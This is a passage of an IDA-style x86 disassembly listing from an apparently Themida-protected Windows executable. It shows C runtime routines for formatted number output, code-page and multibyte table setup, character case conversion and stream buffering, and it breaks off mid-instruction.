loc_41FAE9: ; CODE XREF: sub_41F69F+270j ; sub_41F69F+27Aj sub eax, ecx sar eax, 1 jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj test ecx, ecx jnz short loc_41FAFF mov ecx, off_43C510 mov [ebp+var_8], ecx loc_41FAFF: ; CODE XREF: sub_41F69F+455j mov eax, ecx loc_41FB01: ; CODE XREF: sub_41F69F+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FB10 cmp byte ptr [eax], 0 jz short loc_41FB10 inc eax jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FB10: ; CODE XREF: sub_41F69F+467j ; sub_41F69F+46Cj sub eax, ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FB17: ; CODE XREF: sub_41F69F+425j mov [ebp+var_10], 8 loc_41FB1E: ; CODE XREF: sub_41F69F+201j mov [ebp+var_2C], 7 loc_41FB25: ; CODE XREF: sub_41F69F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FB8F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F69F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FB8F or byte ptr [ebp+var_4+1], 2 jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB5A: ; CODE XREF: sub_41F69F+417j lea eax, [ebp+arg_8] push eax call sub_41FE7E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FB73 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FB78 ; --------------------------------------------------------------------------- loc_41FB73: ; CODE XREF: sub_41F69F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FB78: ; CODE XREF: sub_41F69F+4D2j mov [ebp+var_28], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F69F+2F7j ; sub_41F69F+40Ej or [ebp+var_4], 40h loc_41FB88: ; CODE XREF: sub_41F69F+432j mov [ebp+var_C], 0Ah loc_41FB8F: ; CODE XREF: sub_41F69F+491j ; sub_41F69F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FBA1 lea eax, [ebp+arg_8] push eax call sub_41FE8B pop ecx jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FBC8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBBD call sub_41FE7E pop ecx movsx eax, ax loc_41FBBA: ; CODE XREF: sub_41F69F+527j ; sub_41F69F+539j cdq jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41F69F+510j call sub_41FE7E pop ecx movzx eax, ax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41F69F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBDA call sub_41FE7E pop ecx jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBDA: ; CODE XREF: sub_41F69F+531j call sub_41FE7E pop ecx xor edx, edx loc_41FBE2: ; CODE XREF: sub_41F69F+500j ; sub_41F69F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FC03 test edx, edx jg short loc_41FC03 jl short loc_41FBF2 test eax, eax jnb short loc_41FC03 loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FC07 ; --------------------------------------------------------------------------- loc_41FC03: ; CODE XREF: sub_41F69F+547j ; sub_41F69F+54Bj ... mov esi, eax mov edi, edx loc_41FC07: ; CODE XREF: sub_41F69F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FC10 and edi, 0 loc_41FC10: ; CODE XREF: sub_41F69F+56Cj cmp [ebp+var_10], 0 jge short loc_41FC1F mov [ebp+var_10], 1 jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC1F: ; CODE XREF: sub_41F69F+575j and [ebp+var_4], 0FFFFFFF7h loc_41FC23: ; CODE XREF: sub_41F69F+57Ej mov eax, esi or eax, edi jnz short loc_41FC2D and [ebp+var_1C], 0 loc_41FC2D: ; CODE XREF: sub_41F69F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FC33: ; CODE XREF: sub_41F69F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FC43 mov eax, esi or eax, edi jz short loc_41FC7E loc_41FC43: ; CODE XREF: sub_41F69F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D480 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D410 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FC74 add ebx, [ebp+var_2C] loc_41FC74: ; CODE XREF: sub_41F69F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FC33 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FCA9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FC9C test eax, eax jnz short loc_41FCA9 loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj ; sub_41F69F+406j ... mov [ebp+var_C], eax loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj ; sub_41F69F+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FDA7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FCE1 test bh, 1 jz short loc_41FCC6 mov [ebp+var_16], 2Dh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj test bl, 1 jz short loc_41FCD1 mov [ebp+var_16], 2Bh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj test bl, 2 jz short loc_41FCE1 mov [ebp+var_16], 20h loc_41FCDA: ; CODE XREF: sub_41F69F+625j ; sub_41F69F+630j mov [ebp+var_1C], 1 loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj ; sub_41F69F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FD01 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FD01: ; CODE XREF: sub_41F69F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FE46 add esp, 10h test bl, 8 jz short loc_41FD33 test bl, 4 jnz short loc_41FD33 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FE15 add esp, 10h loc_41FD33: ; CODE XREF: sub_41F69F+67Bj ; sub_41F69F+680j cmp [ebp+var_24], 0 jz short loc_41FD7A cmp [ebp+var_C], 0 jle short loc_41FD7A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FD48: ; CODE XREF: sub_41F69F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423E5B pop ecx test eax, eax pop ecx jle short loc_41FD8F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] loc_41FD68: ; DATA XREF: Themida_:0055D150o push eax call sub_41FE46 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FD48 jmp short loc_41FD8F ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F69F+698j ; sub_41F69F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FE46 add esp, 10h loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj ; sub_41F69F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FDA7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FDA7: ; CODE XREF: sub_41F69F+68j ; sub_41F69F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F6CB loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj ; sub_41F69F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F69F endp ; --------------------------------------------------------------------------- off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp ; sub_41F69F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FDF9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FE04 ; --------------------------------------------------------------------------- loc_41FDF9: ; CODE XREF: sub_41FDE0+9j push ecx push [ebp+arg_0] call sub_41F58A pop ecx pop ecx loc_41FE04: ; CODE XREF: sub_41FDE0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FE11 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj inc dword ptr [eax] pop ebp retn sub_41FDE0 endp ; =============== S U B R O U T I N E ======================================= sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap ; sub_41F69F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FE43 mov esi, [esp+8+arg_C] loc_41FE26: ; CODE XREF: sub_41FE15+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FDE0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FE43 mov eax, edi dec edi test eax, eax jg short loc_41FE26 loc_41FE43: ; CODE XREF: sub_41FE15+Bj ; sub_41FE15+25j pop edi pop esi retn sub_41FE15 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p ; sub_41F69F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FE7A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FE5C: ; CODE XREF: sub_41FE46+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FDE0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FE7A mov eax, ebx dec ebx test eax, eax jg short loc_41FE5C loc_41FE7A: ; CODE XREF: sub_41FE46+Cj ; sub_41FE46+2Bj pop edi pop esi pop ebx retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p ; sub_41F69F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FE7E endp ; =============== S U B R O U T I N E ======================================= sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FE8B endp ; =============== S U B R O U T I N E ======================================= sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420042 mov esi, eax pop ecx cmp esi, dword_4DC6C4 mov [ebp+arg_0], esi jz loc_420036 xor ebx, ebx cmp esi, ebx jz loc_42002C xor edx, edx mov eax, offset dword_43C520 loc_41FEDD: ; CODE XREF: sub_41FEA9+41j cmp [eax], esi jz short loc_41FF53 add eax, 30h inc edx cmp eax, offset dword_43C610 jl short loc_41FEDD lea eax, [ebp+var_18] push eax push esi nop call near ptr 28A0000h cmp eax, 1 jnz loc_420024 push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 cmp [ebp+var_18], 1 mov dword_4DC6C4, esi rep stosd stosb mov dword_4DC8E4, ebx jbe loc_420012 cmp [ebp+var_12], 0 jz loc_41FFE8 lea ecx, [ebp+var_11] loc_41FF30: ; CODE XREF: sub_41FEA9+139j mov dl, [ecx] test dl, dl jz loc_41FFE8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FF41: ; CODE XREF: sub_41FEA9+A8j cmp eax, edx ja loc_41FFDC or byte_4DC7E1[eax], 4 inc eax jmp short loc_41FF41 ; --------------------------------------------------------------------------- loc_41FF53: ; CODE XREF: sub_41FEA9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43C530[esi] loc_41FF6F: ; CODE XREF: sub_41FEA9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FFA2 loc_41FF76: ; CODE XREF: sub_41FEA9+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FFA2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FF9B mov edx, [ebp+var_4] mov dl, byte_43C518[edx] loc_41FF90: ; CODE XREF: sub_41FEA9+F0j or byte_4DC7E1[eax], dl inc eax cmp eax, edi jbe short loc_41FF90 loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FF76 loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj ; sub_41FEA9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FF6F mov eax, [ebp+arg_0] mov dword_4DC6DC, 1 push eax mov dword_4DC6C4, eax call sub_42008C lea esi, dword_43C524[esi] mov edi, offset dword_4DC6D0 movsd movsd pop ecx mov dword_4DC8E4, eax movsd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FF30 loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej ; sub_41FEA9+8Bj push 1 pop eax loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj or byte_4DC7E1[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FFEB push esi call sub_42008C pop ecx mov dword_4DC8E4, eax mov dword_4DC6DC, 1 jmp short loc_420018 ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FEA9+74j mov dword_4DC6DC, ebx loc_420018: ; CODE XREF: sub_41FEA9+167j xor eax, eax mov edi, offset dword_4DC6D0 stosd stosd stosd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420024: ; CODE XREF: sub_41FEA9+51j cmp dword_4DB300, ebx jz short loc_42003A loc_42002C: ; CODE XREF: sub_41FEA9+27j call sub_4200BF loc_420031: ; CODE XREF: sub_41FEA9+131j ; sub_41FEA9+179j call sub_4200E8 loc_420036: ; CODE XREF: sub_41FEA9+1Dj xor eax, eax jmp short loc_42003D ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FEA9+181j or eax, 0FFFFFFFFh loc_42003D: ; CODE XREF: sub_41FEA9+18Fj pop edi pop esi pop ebx leave retn sub_41FEA9 endp ; =============== S U B R O U T I N E ======================================= sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DB300, 0 cmp eax, 0FFFFFFFEh jnz short loc_420062 mov dword_4DB300, 1 nop jmp near ptr 264086Bh ; --------------------------------------------------------------------------- loc_420062: ; CODE XREF: sub_420042+Ej cmp eax, 0FFFFFFFDh jnz short loc_420077 mov dword_4DB300, 1 jmp near ptr 28A0679h ; --------------------------------------------------------------------------- db 0CFh ; --------------------------------------------------------------------------- loc_420077: ; CODE XREF: sub_420042+23j cmp eax, 0FFFFFFFCh jnz short locret_42008B mov eax, dword_4DB344 mov dword_4DB300, 1 locret_42008B: ; CODE XREF: sub_420042+38j retn sub_420042 endp ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_41FEA9+118p ; sub_41FEA9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4200B9 sub eax, 4 jz short loc_4200B3 sub eax, 0Dh jz short loc_4200AD dec eax jz short loc_4200A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4200A7: ; CODE XREF: sub_42008C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_42008C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4200B3: ; CODE XREF: sub_42008C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_42008C+9j mov eax, 411h retn sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DC7E0 rep stosd stosb xor eax, eax mov edi, offset dword_4DC6D0 mov dword_4DC6C4, eax mov dword_4DC6DC, eax mov dword_4DC8E4, eax stosd stosd stosd pop edi retn sub_4200BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DC6C4 nop call near ptr 28A0000h cmp eax, 1 jnz loc_420221 xor eax, eax mov esi, 100h loc_420112: ; CODE XREF: sub_4200E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420112 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420163 push ebx push edi lea edx, [ebp+var_D] loc_420131: ; CODE XREF: sub_4200E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420158 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420158: ; CODE XREF: sub_4200E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420131 pop edi pop ebx loc_420163: ; CODE XREF: sub_4200E8+42j push 0 lea eax, [ebp+var_514] push dword_4DC8E4 push dword_4DC6C4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423CEC push 0 lea eax, [ebp+var_214] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DC8E4 call sub_422ACA push 0 lea eax, [ebp+var_314] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DC8E4 call sub_422ACA add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4201DE: ; CODE XREF: sub_4200E8+135j mov dx, [ecx] test dl, 1 jz short loc_4201FC or byte_4DC7E1[eax], 10h mov dl, [ebp+eax+var_214] loc_4201F4: ; CODE XREF: sub_4200E8+127j mov byte_4DC6E0[eax], dl jmp short loc_420218 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200E8+FCj test dl, 2 jz short loc_420211 or byte_4DC7E1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4201F4 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4200E8+117j and byte_4DC6E0[eax], 0 loc_420218: ; CODE XREF: sub_4200E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4201DE jmp short loc_42026A ; --------------------------------------------------------------------------- loc_420221: ; CODE XREF: sub_4200E8+1Dj xor eax, eax mov esi, 100h loc_420228: ; CODE XREF: sub_4200E8+180j cmp eax, 41h jb short loc_420246 cmp eax, 5Ah ja short loc_420246 or byte_4DC7E1[eax], 10h mov cl, al add cl, 20h loc_42023E: ; CODE XREF: sub_4200E8+174j mov byte_4DC6E0[eax], cl jmp short loc_420265 ; --------------------------------------------------------------------------- loc_420246: ; CODE XREF: sub_4200E8+143j ; sub_4200E8+148j cmp eax, 61h jb short loc_42025E cmp eax, 7Ah ja short loc_42025E or byte_4DC7E1[eax], 20h mov cl, al sub cl, 20h jmp short loc_42023E ; --------------------------------------------------------------------------- loc_42025E: ; CODE XREF: sub_4200E8+161j ; sub_4200E8+166j and byte_4DC6E0[eax], 0 loc_420265: ; CODE XREF: sub_4200E8+15Cj inc eax cmp eax, esi jb short loc_420228 loc_42026A: ; CODE XREF: sub_4200E8+137j pop esi leave retn sub_4200E8 endp ; =============== S U B R O U T I N E ======================================= sub_42026D proc near ; CODE XREF: ___:00422E7Bp ; ___:00422ED7p ... cmp dword_4DC914, 0 jnz short locret_420288 push 0FFFFFFFDh call sub_41FEA9 pop ecx mov dword_4DC914, 1 locret_420288: ; CODE XREF: sub_42026D+7j retn sub_42026D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp ; sub_41B9D1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DC6DC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4202AD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B5F0 add esp, 0Ch jmp short loc_420310 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420289+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4202F2 mov ecx, [ebp+arg_4] loc_4202B8: ; CODE XREF: sub_420289+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DC7E1[esi], 4 mov [edi], al jz short loc_4202DC inc edi inc ecx test edx, edx jz short loc_4202E8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4202EE jmp short loc_4202E2 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_420289+3Ej inc edi inc ecx test al, al jz short loc_4202F2 loc_4202E2: ; CODE XREF: sub_420289+51j test edx, edx jnz short loc_4202B8 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202E8: ; CODE XREF: sub_420289+44j and byte ptr [edi-1], 0 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_420289+4Fj and byte ptr [edi-2], 0 loc_4202F2: ; CODE XREF: sub_420289+2Aj ; sub_420289+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42030D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42030D: ; CODE XREF: sub_420289+6Fj mov eax, [ebp+arg_0] loc_420310: ; CODE XREF: sub_420289+22j pop edi pop ebp retn sub_420289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx jnz short loc_42033E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4203DC cmp eax, 7Ah jg loc_4203DC sub eax, 20h jmp loc_4203DC ; --------------------------------------------------------------------------- loc_42033E: ; CODE XREF: sub_420313+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420371 cmp dword_43C504, 1 jle short loc_42035E push 2 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420369 ; --------------------------------------------------------------------------- loc_42035E: ; CODE XREF: sub_420313+3Dj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 2 loc_420369: ; CODE XREF: sub_420313+49j test eax, eax jnz short loc_420371 loc_42036D: ; CODE XREF: sub_420313+AFj mov eax, ebx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_420313+34j ; sub_420313+58j mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420394 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42039D ; --------------------------------------------------------------------------- loc_420394: ; CODE XREF: sub_420313+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42039D: ; CODE XREF: sub_420313+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_42036D cmp eax, 1 jnz short loc_4203CF movzx eax, [ebp+var_4] jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_420313+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4203DC: ; CODE XREF: sub_420313+14j ; sub_420313+1Dj ... pop ebx leave retn sub_420313 endp ; =============== S U B R O U T I N E ======================================= sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp ; sub_41D3BE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DB27C, ecx mov eax, offset dword_43C610 loc_4203F0: ; CODE XREF: sub_4203DF+1Ej cmp ecx, [eax] jz short loc_420414 add eax, 8 inc edx cmp eax, offset dword_43C778 jl short loc_4203F0 cmp ecx, 13h jb short loc_420421 cmp ecx, 24h ja short loc_420421 mov dword_4DB278, 0Dh retn ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4203DF+13j mov eax, dword_43C614[edx*8] mov dword_4DB278, eax retn ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_4203DF+23j ; sub_4203DF+28j cmp ecx, 0BCh jb short loc_42043B cmp ecx, 0CAh mov dword_4DB278, 8 jbe short locret_420445 loc_42043B: ; CODE XREF: sub_4203DF+48j mov dword_4DB278, 16h locret_420445: ; CODE XREF: sub_4203DF+5Aj retn sub_4203DF endp ; =============== S U B R O U T I N E ======================================= sub_420446 proc near ; CODE XREF: sub_41BE06+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423E35 test eax, eax pop ecx jz short loc_4204CF cmp esi, offset dword_43CA08 jnz short loc_420464 xor eax, eax jmp short loc_42046F ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420446+18j cmp esi, offset dword_43CA28 jnz short loc_4204CF push 1 pop eax loc_42046F: ; CODE XREF: sub_420446+1Cj inc dword_4DB460 test word ptr [esi+0Ch], 10Ch jnz short loc_4204CF cmp dword_4DB304[eax*4], 0 push ebx push edi lea edi, ds:4DB304h[eax*4] mov ebx, 1000h jnz short loc_4204B5 push ebx call sub_41B4D5 test eax, eax pop ecx mov [edi], eax jnz short loc_4204B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4204C2 ; --------------------------------------------------------------------------- loc_4204B5: ; CODE XREF: sub_420446+4Dj ; sub_420446+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4204C2: ; CODE XREF: sub_420446+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4204CF: ; CODE XREF: sub_420446+10j ; sub_420446+24j ... xor eax, eax pop esi retn sub_420446 endp ; =============== S U B R O U T I N E ======================================= sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4204FD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42050E push esi call sub_41DB8B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4204FD: ; CODE 